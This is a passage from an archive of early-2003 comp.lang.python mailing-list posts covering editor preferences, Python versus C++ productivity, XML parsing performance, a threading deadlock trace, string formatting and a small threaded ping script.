effectively killing the project.  Of course semi-underground copies of
MONO will still exist, but not any effective development project; and if
Ximian isn't outright bankrupted, they might eventually win in court,
many years after the APIs have gone somewhere else altogether.

Yours, Lulu (a soothsayer)...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From knightsofspamalot-factotum at gvdnet.dk  Thu Jan  2 18:35:05 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Fri, 03 Jan 2003 00:35:05 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <87lm23xh06.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Johan" == Johan  <johan at contillion.com> writes:
Johan> Anyone know some good Python editors under Linux?  With good
Johan> color highlightning... :)

You will do yourself a tremendous favour by familiarising yourself
with one of the two major Unix editors: Emacs and vi. When I say
'familiarise' I naturally mean 'live it, breathe it, freely neglect
your friends and family to learn its intricacies, sleep with several
manuals under your pillow (though neck pain may follow) and never rest
until your native language seems less natural to you than the editor's
scripting language'. They're immensely powerful editors, and after
learning one, going back to a 'plain' text editor will just feel like
crawling.

Of course, I had to mention vi, but nobody in their right mind would
actually use it. Emacs is the One True Editor:
http://www.dina.dk/~abraham/religion/

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4UzKkACgkQYu1fMmOQldXu0ACfXppcG86FKWaRMXYhcrWvieEj
8YYAnjMYGTmc9Lqi6jKqZrQo8gs7bv5l
=Cudo
-----END PGP SIGNATURE-----



From paddy3118 at tiscali.co.uk  Sat Jan  4 07:45:51 2003
From: paddy3118 at tiscali.co.uk (Paddy)
Date: Sat, 04 Jan 2003 12:45:51 +0000
Subject: Best Python Editor (under Linux)
In-Reply-To: <0zhR9.7019$Gv4.4628@fe08>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com> <0zhR9.7019$Gv4.4628@fe08>
Message-ID: <3E16D77F.1060209@tiscali.co.uk>

Steve Holden wrote:
> "Peter Hansen" <peter at engcorp.com> wrote ...
> 
>>Martin Christensen wrote:
>>
> [editors, endlessly, again]
> 
>>I'm sure they are highly effective for some people.  Not everyone
>>has need of such a large slate of features.  In fact, over the years
>>I've found I rely on fewer and fewer special functions in my editors,
>>and at this point I am so independent of any specific editor that I
>>find myself roughly as productive in any modern editor, using the tiny
>>subset of its features that I do, and yet more productive (because of
>>my approach to programming) than many other programmers.
>>
> 
> 
> You have, of course, neatly encapsulated many of the advantages of being an
> old fart. Welcome to the club!
> 
> ....and a Happy New Year to all my reader :0)
> 
> regards

Whilst I too have many years of editing text files, it IS a young industry, you DO have to
keep abreast of the changes and in text editing I have been lucky in that my initial vi
knowledge is still relevant and can be enhanced when I move to elvis or vim.

Like Martin I suspect, solving the eight queens problem in a macro has nothing to do with
  text editing, but syntax highlighting, folding, template generation, auto indentation,
and others I think ARE the realms of a good text editor.

One feature that would be nice is multiple language syntax colouring for things like
embedded scripts in HTML or a python 'here document', ( <<! ...!), in a bash script. Is
this available in editors yet?

Thanks, Paddy.





From max at alcyone.com  Thu Jan 16 18:41:48 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 16 Jan 2003 15:41:48 -0800
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com> <mailman.1042740101.18359.python-list@python.org>
Message-ID: <3E27433C.EA3186C0@alcyone.com>

Jack Diederich wrote:

> TMTOWTDI aside, I find filter and map much easier to pick out when
> reading
> through code.
	...
> The actual action is hidden at the end, we're doing a filter()
> 
> Less of a good reason, but map() and filter() exist in other languages
> so they are more broadly recognizable even to newbies.

I would hope that an experienced programmer would read the _whole_ line
before he makes up his mind about exactly what the code does.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Laughter is the only genuine form of applause.
\__/ Camden Benares
    Alcyone Systems' Daily Planet / http://www.alcyone.com/planet.html
 A new, virtual planet, every day.



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 11:26:11 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 08:26:11 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043359063.30364.python-list@python.org> <87smvittss.fsf@bracknell.smullyan.org>
Message-ID: <7x3cni1plo.fsf@ruckus.brouhaha.com>

Jacob Smullyan <smulloni at smullyan.org> writes:
> As for caching, SkunkWeb is I believe very strong in this area, as it
> does have a very useful component cache, which stores component output
> on disk; and this cache can be controlled with considerable finesse,
> and furthermore with ease.  While access to a disk cache is not going
> to be as fast as access to memory, just as with the GIL lock issue,
> there are other ways of improving performance.  The convenience and
> controllability of the SkunkWeb cache is a huge advantage, as it can
> be utilized to the fullest with virtually no development effort.
> 
> (Incidentally, if anyone feels strongly that SkunkWeb should be able
> to run in multi-threaded mode, feel free to submit patches :).

I'm not that crazy about threads either.  I don't understand why more
multi-process servers don't use shared memory instead of disk files,
or even (gak) SQL databases and worse.  Sometimes I wonder whether MPI
(the pseudo-shared memory used in scientific clusters like Beowulf)
might be an appropriate abstraction for programs like web servers.
There are very efficient MPI implementations that let processes on the
same machine communicate through shared memory, and can also let
processes on separate machines communicate through a LAN.



From gradha at terra.es  Fri Jan 24 17:59:13 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Fri, 24 Jan 2003 23:59:13 +0100
Subject: Looking for CORBA examples, or something better
In-Reply-To: <20030124214313.GE15790@meson.dyndns.org>
References: <20030124203238.GA2206@pedos.es> <20030124214313.GE15790@meson.dyndns.org>
Message-ID: <20030124225912.GA22159@pedos.es>

On Fri, Jan 24, 2003 at 04:43:13PM -0500, Jp Calderone wrote:
> I'm not sure what you're asking for, exactly - a Python CORBA
> package?  Or a Python package with CORBA-like functionality?
> 
> In the latter case, you might check out twisted.spread.  It's
> -almost- as terse as possible, with methods being invoked like...
> 
>   obj.callRemote('method', args, ...)

Yes, something like that. Michael Pyle already suggested privately
omniORB (http://omniorb.sourceforge.net/). Hmmm... funny weekend
ahead.




From aleax at aleax.it  Thu Jan 30 17:05:49 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 22:05:49 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net>
Message-ID: <1lh_9.145990$AA2.5964173@news2.tin.it>

Brandon Van Every wrote:
   ...
> My contention is, if your approach is incremental and architectural,
> Python
> does not offer any amazing payoff over C++.  Python only gives you a big
> value add when you're trying to be more spontaneous.

Your contention is wrong as stated: _my_ approach IS "incremental and
architectural" more often than not, yet Python DOES enhance my
productivity enormously when compared with C++.  I've been _the_
C++ expert for my former employer for many years, taught C++ to
all other colleagues, etc -- it's not an issue of mastery of C++,
either.  It IS an issue of Python's magic.


>> I have noticed similar orders of magnitude in the productivity boost
>> that Python gives me (compared with, for example, C++ or Java) in
>> either case.
> 
> Expertise, quality / badness of the design you're working with, and your

We're talking about the SAME designs (being transliterated for
example from Modula-2 to both C++ and Python; from C++ to both
Java and Python; etc).  Expertise (at the time) higher with
C++ than with either Java or Python.  So both factors are ruled out,
period -- and your contention remains simply wrong.

> level of control over the project are all factors here.  It's hard to

Same level of control over the project in both cases: one was a
personal project (total control), another a proprietary protocol
of the firm (zero control) -- in both cases the design was just
being "transliterated" (possibly as a first step for FUTURE
changes and refactorings).  Again, this factor is ruled out as
a possible explanation for any observed differences.

> compare apples to apples without looking at someone's project.  I guess in
> the end, you just try it out.  I wonder if people evaluate their positive
> experiences for the correct reasons though.

I'm careful to change just ONE factor when I try such things.

The ONE factor is: what language I'm transliterating into.

Other factors (the design, &c) are fixed.

Python proves very productive for this.  Roughly: transliterating
into Java yielded about 20% overall productivity gain wrt C++ (main
gain: no worry about "who owns what" and when to delete what; main
offsetting factor: Java lacks templates) -- too small to matter.

Transliterating into Python yielded about twice the productivity
wrt C++ (main gains: no worry about who owns what, no casts
needed, nested functions, everything works "template-like", i.e.
with signature-based polymorphism, without all of the syntax
cruft; only small cost, since PyChecker didn't exist at the time,
having to run the unit tests even to catch typos -- but that one
didn't have a measurable impact, 'twas just a small annoyance).

A productivity gain by a factor of two is large enough to
matter.  I have observed (under less strictly controlled
conditions) higher gains for "greenfield" projects, since
then the design can be more tailored to Python (appropriate
design patterns are for example quite different, depending
on what language you're targeting) _AND_ spiral/incremental
approaches are better supported.


Alex




From cgjunkaddr at attbi.com  Tue Jan 28 12:16:48 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Tue, 28 Jan 2003 17:16:48 GMT
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04> <mailman.1043682230.10653.python-list@python.org> <pan.2003.01.28.00.31.22.615165@dot.com> <mailman.1043763594.24989.python-list@python.org>
Message-ID: <3WyZ9.67758$_s4.37551@rwcrnsc54>

:-(

I had to use managed C++ to interface with Python.

Python runs as unmanaged code. Unmanaged code is possible even in C#, but
how would that interface with Python?
Any ideas? Are you thinking of PInvoke?

A good solution would be to have a managed C++ compiler (mg++ anyone? ;-))
for Mono.

Regards
Chetan


"Jeff Kowalczyk" <jtk at yahoo.com> wrote in message
news:mailman.1043763594.24989.python-list at python.org...
> > Look at Mark Hammond's .NET related project
> > http://starship.python.net/crew/mhammond/dotnet/
>
> Right, I was aware of Mark's white paper on the subject, and its
conclusion that any
> generally usable Python.NET would be a long way off. Chetan's library
seems to strike a
> good balance between keeping python pythonic still having transparent
access to the
> powerful classes in the .NET framework.
>
> I think an OSI-licensed C# implementation of it would get a lot of
attention from Mono
> users as a scripting language for .NET components running on linux and
*nix. I look
> forward to using KOBRA as it matures.
>
>
>
>





From bkc at Murkworks.com  Thu Jan 30 09:28:10 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Thu, 30 Jan 2003 09:28:10 -0500
Subject: [Python-Dev] python2.3 on m68k-nommu uClinux, really slow
References: <3E37E8EE.27693.101D03C4@localhost> <mailman.1043876102.14695.python-list@python.org>
Message-ID: <3e3935e0_1@spamkiller.newsgroups.com>

Thanks Jeff, I will look into this aspect.

Anyone remember pystone numbers for old Sun3 machines based on the 68000?

--
Novell DeveloperNet Sysop #5

_
"Jeff Epler" <jepler at unpythonic.net> wrote in message
news:mailman.1043876102.14695.python-list at python.org...
> This question may be better asked on python-list than python-dev.
>
> One likely cause is the implementation of integer multiplication, which
> uses floating point arithmetic to determine whether the result of the
> multiplication overflows or is implicitly converted to long.  I am
> guessing that that your system probably doesn't have hardware floating
> point.
>
> If this is true, you could usefully replace the code by a custom
> 32x32->64 multiply and slightly modified test, or anything else that
> still does the right thing.  (python 2.1 seems to use a different method
> that only uses integers, you might steal that instead)
>
> This code is at least in intobject.c and may be inlined in ceval.c for
> the BINARY_MULTIPLY opcode.
>
> Jeff
>




-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From LogiplexSoftware at earthlink.net  Tue Jan 21 15:40:07 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 21 Jan 2003 12:40:07 -0800
Subject: license
In-Reply-To: <7939989.1043169480388.JavaMail.nobody@dewey.psp.pas.earthlink.net>
References: 	 <7939989.1043169480388.JavaMail.nobody@dewey.psp.pas.earthlink.net>
Message-ID: <1043181607.18175.83.camel@software1.logiplex.internal>

On Tue, 2003-01-21 at 06:16, Arthur wrote:
> |"Arthur" <ajs at i...> wrote previously:
> ||>BTW, you still haven't mentioned the package. Tell me THE ||PACKAGE!!! ;)
> 
> ||I am *never* discrete.
> ||But at my age, an opportunity for a new experience is rare.
> 
> To which the good doctor adds,
> 
> |s/discrete/obnoxious/
> |s/rare/elsewhere/
> 
> The beauty of this is that I don't know what it means. 
> 
> I suspect I might.
> 
> The fact that it is composed as a message from the initiated
> to the intitiated - says enough.
> 
> My alienation from the community would decrease if it  
> credited itself less for being something other than that.

Art,

I'm going to pipe up here and say that, despite all the disagreeing and
having been attacked on several fronts (I'm disregarding for the moment,
who is right or wrong about the issue in dispute), you've handled
yourself very well, and if others can't respect you for *that*, despite
disagreeing with your POV, then that reflects badly on them, not you.

Have a nice day,

Cliff

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From maxm at mxm.dk  Tue Jan 21 16:59:07 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 21 Jan 2003 22:59:07 +0100
Subject: Partial string formatting?
In-Reply-To: <vo1r2vkej1rg3la5u4m9sfdr2q5k5mqoet@4ax.com>
References: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com> <3E2D80BD.5070703@mxm.dk> <vo1r2vkej1rg3la5u4m9sfdr2q5k5mqoet@4ax.com>
Message-ID: <3E2DC2AB.3000809@mxm.dk>

Gon?alo Rodrigues wrote:
> On Tue, 21 Jan 2003 18:17:49 +0100, Max M <maxm at mxm.dk> wrote:
> 
> 
> This should return instead:
> 
> val1 - 2 - %(key3)s


Then you should just change:

     def __getitem__(self, key):
         return str(self.aDict.get(key, '%%(%s)s' % key))


> As I said, if a priori I know that the formatting code is just s, the
> problem is easily solved. But if I want to be completely general I'm
> basically stuck because the formatting codes can have a bewildering
> array of variations.


Then take care of the type conversion in the adapter object instead.

regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From meinrad.recheis at aon.at  Sun Jan 19 16:12:00 2003
From: meinrad.recheis at aon.at (meinrad recheis)
Date: Sun, 19 Jan 2003 22:12:00 +0100
Subject: PIL: loading _imaging fails allthough it s there
Message-ID: <b0f49t$iig$1@news.tuwien.ac.at>

Hi,  please give me some hint for that problem:

PIL Image() says it can not find the _imaging module, but
_imaging.pyc is there. i used help() to display all modules and it was
listed.
then i tried to get help for _imaging i got this error message:
"problem in _imaging - ImportError: DLL load failed: The specified module
could not be found."

I am using Python23 on Win2k and py22b1-pil-1.1.2-20011022.exe

thanks for help,
         Meinrad Recheis





From akjmicro at yahoo.com  Wed Jan 29 13:34:45 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Wed, 29 Jan 2003 12:34:45 -0600
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia> <15923.64232.153575.441139@montanaro.dyndns.org> <mailman.1043595527.13755.python-list@python.org> <pm7eg-im3.ln1@beastie.ix.netcom.com> <v39007j7i12ud2@news.supernews.com> <b13mvs$cuj$1@bob.news.rcn.net> <b17lp0$rfc$1@wheel2.two14.net>
Message-ID: <b196r3$1ki$1@bob.news.rcn.net>

In message <b17lp0$rfc$1 at wheel2.two14.net>, Martin Maney wrote:
> Aaron K. Johnson <akjmicro at yahoo.com> wrote:
> > This is mostly what people need to do using Emacs anyway, right?
> 
> Hmmm, maybe I shouldn't have cut quite so much.  This almost looks like
> a humorous comment on the subject line...
> 
> Anyway - the thing that may get me to invest enough time to get to know
> emacs well is Bicycle Repairman.  I can't really imagine how one would
> work such that fixing indentation was remotely so large a part of the
> daily grind as to steer one's choice of editor!  For the moment I, too,
> find Joe the least awful of the readily available *nix editors (but...
> the *pico* bindings?  Long ago (but not long enough: I still recall it)
> I used pico on an early middle ages Xenix box that offered few choices. 
> I was so glad to get away!)

jpico is pico plus newer, more flexible, more powerful features, and shorter
ctrl-sequences. I love it!

Best,
Aaron




From gminick at hacker.pl  Wed Jan 22 08:42:33 2003
From: gminick at hacker.pl (Wojtek Walczak)
Date: Wed, 22 Jan 2003 13:42:33 +0000 (UTC)
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com>
Message-ID: <b0m749$110$1@news.tpi.pl>

Dnia 20 Jan 2003 11:06:47 -0800, Marcin Matuszkiewicz napisa?(a):
> In the code below I created a two dimensional list in two ways.  List
> b behaves I expect, list a does not.  Could someone explain it?
Why isn't it mentioned in the FAQ (well, at least it's hard to find) ?
It's a really frequent question, isn't it ? :)

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]



From kibab at icehouse.net  Wed Jan  1 16:35:59 2003
From: kibab at icehouse.net (Kaleb Pederson)
Date: Wed, 1 Jan 2003 13:35:59 -0800
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <m3vg18mw6q.fsf@mira.informatik.hu-berlin.de>
References: <200301010958.45042.kibab@icehouse.net> <200301012017.42377.phil@river-bank.demon.co.uk> <m3vg18mw6q.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200301011336.01085.kibab@icehouse.net>

On Wednesday 01 January 2003 12:50 pm, you wrote:
> Phil Thompson <phil at river-bank.demon.co.uk> writes:
> > You could try instrumenting lock_import(), or replace the mysqldb calls
> > with code that still does the imports but nothing else.
>
> Alternatively, you could also ask your debugger for a stack trace for
> all threads.
>
> Regards,
> Martin

Hmm.... switching through the various threads yields:

// although I don't display the entire traceback, this thread never acquires 
the lock.

(gdb) thread 1
[Switching to thread 1 (Thread 16384 (LWP 4220))]#0  0x4024b1be in select () 
from /lib/libc.so.6
(gdb) bt
#0  0x4024b1be in select () from /lib/libc.so.6
#1  0x40b76670 in __JCR_LIST__ () from /usr/qt/3-debug//lib/libqt-mt.so.3
#2  0x4053ed39 in QEventLoop::enterLoop() (this=0x8295368) at 
kernel/qeventloop.cpp:191
#3  0x4053ec52 in QEventLoop::exec() (this=0x8295368) at 
kernel/qeventloop.cpp:138
#4  0x40524b41 in QApplication::exec() (this=0x81c83b0) at 
kernel/qapplication.cpp:2471
#5  0x417eb27b in sipDo_QApplication_exec_loop(_object*, _object*) () from 
/usr/local/lib/python2.2/site-packages/libqtcmodule.so
#6  0x080f3ec6 in PyCFunction_Call (func=0x8801cd8, arg=0x8134124, kw=0x0) at 
Objects/methodobject.c:79
#7  0x0808ae96 in eval_frame (f=0x814d1ac) at Python/ceval.c:2014
#8  0x0808d204 in PyEval_EvalCodeEx (co=0x81462e8, globals=0x81743dc, 
locals=0x81743dc, args=0x0, argcount=0, kws=0x0, kwcount=0, defs=0x0, 
defcount=0,
    closure=0x0) at Python/ceval.c:2595
#9  0x080828c0 in PyEval_EvalCode (co=0x81462e8, globals=0x81743dc, 
locals=0x81743dc) at Python/ceval.c:481
#10 0x080a644a in PyImport_ExecCodeModuleEx (name=0xbfffee80 
"gem.src.gui.gui", co=0x81462e8, pathname=0xbfffe540 
"/home/kibab/JDC/gem/src/gui/gui.pyc")
    at Python/import.c:505
#11 0x080a6c12 in load_source_module (name=0xbfffee80 "gem.src.gui.gui", 
pathname=0xbfffe540 "/home/kibab/JDC/gem/src/gui/gui.pyc", fp=0x8189f38)
    at Python/import.c:787
#12 0x080a76be in load_module (name=0xbfffee80 "gem.src.gui.gui", 
fp=0x8189f38, buf=0xbfffe9d0 "/home/kibab/JDC/gem/src/gui/gui.py", type=1)
    at Python/import.c:1371
#13 0x080a8d60 in import_submodule (mod=0x818a224, subname=0xbfffee8c "gui", 
fullname=0xbfffee80 "gem.src.gui.gui") at Python/import.c:1910
#14 0x080a8525 in load_next (mod=0x818a224, altmod=0x818a224, 
p_name=0xbffff2a0, buf=0xbfffee80 "gem.src.gui.gui", p_buflen=0xbfffee7c) at 
Python/import.c:1766
#15 0x080a7eee in import_module_ex (name=0x0, globals=0x8145154, 
locals=0x8145154, fromlist=0x8114484) at Python/import.c:1624
#16 0x080a81d2 in PyImport_ImportModuleEx (name=0x818a924 "gem.src.gui.gui", 
globals=0x8145154, locals=0x8145154, fromlist=0x8114484) at 
Python/import.c:1658
#17 0x080f617b in builtin___import__ (self=0x0, args=0x813d8e4) at 
Python/bltinmodule.c:40
<snip>

// Here we have the second (manager) thread
(gdb) thread 2
[Switching to thread 2 (Thread 32769 (LWP 4225))]#0  0x4024988b in poll () 
from /lib/libc.so.6
(gdb) bt
#0  0x4024988b in poll () from /lib/libc.so.6
#1  0x40030d6e in __pthread_manager () from /lib/libpthread.so.0
#2  0x40030fba in __pthread_manager_event () from /lib/libpthread.so.0

// the third thread ... this one calls lock_import() and then apparently gets 
suspended?

(gdb) thread 3
[Switching to thread 3 (Thread 16386 (LWP 4226))]#0  0x4019fd49 in sigsuspend 
() from /lib/libc.so.6
(gdb) bt
#0  0x4019fd49 in sigsuspend () from /lib/libc.so.6
#1  0x40033858 in __pthread_wait_for_restart_signal () from 
/lib/libpthread.so.0
#2  0x400300eb in pthread_cond_wait () from /lib/libpthread.so.0
#3  0x080b5c0e in PyThread_acquire_lock (lock=0x813d418, waitflag=1) at 
Python/thread_pthread.h:374
#4  0x080a5874 in lock_import () at Python/import.c:166
#5  0x080a81b2 in PyImport_ImportModuleEx (name=0x8182fc4 "types", 
globals=0x880079c, locals=0x8114484, fromlist=0x87fcc1c) at 
Python/import.c:1657
#6  0x080f617b in builtin___import__ (self=0x0, args=0x813ab0c) at 
Python/bltinmodule.c:40
<snip>

>From my limited knowledge of the Python interpreter, it looks like the lock 
only gets acquired once in the third thread.  In which case, there would be 
no reason for it to block.  But, the first thread also had some relevant 
import calls, so I'm not sure.  Where do I look now?

--Kaleb






From martin at v.loewis.de  Thu Jan  2 18:01:10 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 03 Jan 2003 00:01:10 +0100
Subject: Why is xml.dom.minidom so slow?
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE37@admin56.narex.com>
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE37@admin56.narex.com>
Message-ID: <m3y963rwax.fsf@mira.informatik.hu-berlin.de>

"Bjorn Pettersen" <BPettersen at NAREX.com> writes:

> If I'm reading the minidom/pulldom files correctly this should use
> Expat(?)

Yes, that is the only possible interpretation if no other parsers are
available.

> As a test, I tried building my own tree directly from the Expat
> events. This was about 4 times faster (2.89 accts/sec), but still
> far from fast enough... I'm starting to think a custom C++ parser
> might be the way to go (and here I was having such a nice day
> <sigh>).

I see. Then I would suggest that the mere parsing speed is not the
issue - this uses roughly all tricks we can think of. It still would
be interesting to find out where the computation time is spend. If
these are complicated documents (i.e. many elements and attributes,
short PCDATA), then surely memory allocation is an issue - you could
try Python 2.3a1 also, as a test (pymalloc should give some
improvements when there are many memory allocations).

I doubt that a custom parser can do much better, unless it allows you
to drop data you are not interested in.

What *has* been demonstrated to be a speed-up over minidom is to use
4Suite's cDomlette. It is faster, because:
- it allocates less objects: many things are stored in the elements
  themselves, instead of in dictionaries, as Python classic classes
  do.
- object creation is through C, with no need to lookup Python methods
  over and over again.

When completed, it still gives you a Python-conforming DOM tree. That
DOM tree misses some of the DOM functionality, though, that's why they
call it a Domlette.


> :-) Unfortunately they're not my requirements. (They go something
> :like: "we will eventually need all the data, so put them in a form
> :that the next step can traverse to put into a DB".) If you think a
> :different approach is better I'm all ears :-)

The stream-processing approaches are *much* faster, in all
languages. They don't create intermediate objects, but present you
with just the strings that the parser had to extract from the
document, anyway.

In order of increasing speed, decreasing standards conformance:
- SAX: depending on how you design the content handler, you can be
  much faster than a DOM builder already. As a test, you might want to
  plug in an empty ContentHandler, and see how many documents you
  can parse without processing in a certain time.
- Expat raw interface: parsing is XML-conforming, but the API of
  Expat is proprietary. This safes indirections, and is again faster.
  You can apply the same benchmark with little effort.
- PyXML//F sgmlop: to my knowledge, the fastest for-Python XML
  parser, but it misses a number of XML features (e.g. it won't
  do entity expansion).

In any case, please report what your findings are and what technology
you eventually use.

Regards,
Martin




From bhoel at web.de  Sun Jan 12 15:10:24 2003
From: bhoel at web.de (Berthold Höllmann)
Date: 12 Jan 2003 21:10:24 +0100
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org>
Message-ID: <m28yxq9ljj.fsf@pchoel.1480-778.online.de>

Gerhard H?ring <gerhard.haering at gmx.de> writes:

> * Christian Tismer <tismer at tismer.de> [2003-01-11 23:56 +0100]:
> > Don't forget that I've proven that I can change truth, [...]
> 
> >>> True, False = False, True
> >>> True, False
> (0, 1)
> 
> Easy enough ;-)
> 
> SCNR,

Even better:

>python
Python 2.3a1 (#1, Jan  9 2003, 22:40:56) 
[GCC 3.2 (SuSE Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> True, False
(True, False)
>>> True, False = False, True
>>> True, False
(False, True)

True is false and false is true.

Berthold
-- 
bhoel at web.de / http://starship.python.net/crew/bhoel/
        It is unlawful to use this email address for unsolicited ads
        (USC Title 47 Sec.227). I will assess a US$500 charge for
        reviewing and deleting each unsolicited ad.



From pnagel at nagel.co.za  Sat Jan  4 06:32:24 2003
From: pnagel at nagel.co.za (Pieter Nagel)
Date: Sat, 04 Jan 2003 13:32:24 +0200
Subject: how to extract source code from code objects ?
In-Reply-To: <2259b0e2.0301031026.63ae69aa@posting.google.com>
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com> <mailman.1041525363.20935.python-list@python.org> <2259b0e2.0301031026.63ae69aa@posting.google.com>
Message-ID: <3E16C648.1000007@nagel.co.za>

In the short term, you could solve your problem by using the 
compiler.visitor module to walk the AST.

Something like:

   class MathExpressionASTVisitor:
     def visitCallFunc(self, callFunc):
       funcName = callFunc.node.name # or however this is done
       if funcName == 'square':
          print callFunc.args, '**2',
       else:
          print funcName, '(', callFunc.args, ')',

   visitor = MathExpressionASTVisitor()
   import compiler
   compiler.visitor.ASTVisitor().preorder(ast, visitor)

But this is only crude pseudocode.      	

In the long term, I would suggest that you use your own type of abstract 
syntax tree to represent the parsed expressions, instead of Python's 
AST. When you do more complex manipulations, you are going to need more 
and more code on the ast tree that Python does not offer.

Of course, as long as the syntax of your expressions is sufficiently 
Pythonesque, you can use the Python compiler module to parse it for you; 
and then use the visitor pattern above to transform the Python AST into 
your AST.

-- 
      ,_
      /_)              /| /
     /   i e t e r    / |/ a g e l
     http://www.nagel.co.za




From dglenn at charter.net  Wed Jan 15 21:25:16 2003
From: dglenn at charter.net (Doug Glenn)
Date: Wed, 15 Jan 2003 21:25:16 -0500
Subject: Python as a base for an Open Source Foxpro
In-Reply-To: <7zcJ+kKkXcxV092yn@gnosis.cx>
References: <5c07cc6.0301151206.455286ac@posting.google.com> <7zcJ+kKkXcxV092yn@gnosis.cx>
Message-ID: <200301152125.16803.dglenn@charter.net>

On Wednesday 15 January 2003 16:04, Lulu of the Lotus-Eaters wrote:
> p-nowak at eelink.net (Paul Nowak) wrote previously:
> |Hello, I have been doing some thinking about writing an open source
> |implementation of FoxPro.
>
> http://www.harbour-project.org/

I would rather see a project to convert FoxPro source to Python. That 
would be a money making proposition for someone. That and one to 
convert VB code. Between the two, it would certainly assist in speeding 
up a conversion in the event someone thought about changing the desktop 
OS.

-----
Doug




From BranimirPetrovic at yahoo.com  Mon Jan  6 23:10:06 2003
From: BranimirPetrovic at yahoo.com (Branimir Petrovic)
Date: 6 Jan 2003 20:10:06 -0800
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com> <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com> <mailman.1041767229.6505.python-list@python.org> <8db020b9.0301061545.48785623@posting.google.com>
Message-ID: <b11d1191.0301062010.2aa352cf@posting.google.com>

dhostetler at sopris.net (.d.hos) wrote in message news:<8db020b9.0301061545.48785623 at posting.google.com>...

> 
> I looked into other multithreaded examples on the web and came up with
> the following:
> 
> =============================
> import threading, os
> 
> def log(s):
>     print s
> 
> class Pinger(threading.Thread):
>     def __init__(self, address, *args, **kwargs):
>         self.address = address       
>         threading.Thread.__init__(self, *args, **kwargs)        
> 
>     def run(self):
>         pingCard = "ping -n 10 " + self.address
>         child = os.popen(pingCard).readlines()
>         log(child)      
> 
> 
> if __name__ == '__main__':
>     
>     PingList = ["127.0.0.1", "66.218.71.83", "64.66.148.171"]
>     threadList = []
>     
>     # Create threads
>     for i in PingList :        
>         threadList.append(Pinger(i))
> 
>     # Start all threads
>     for thread in threadList:
>         thread.start()
> ============================================
> 
> when run through idle, the python shell hangs after all the ips
> respond. Do I have to stop each thread individually after it executes
> the ping command? other than that it seems to work....
> 

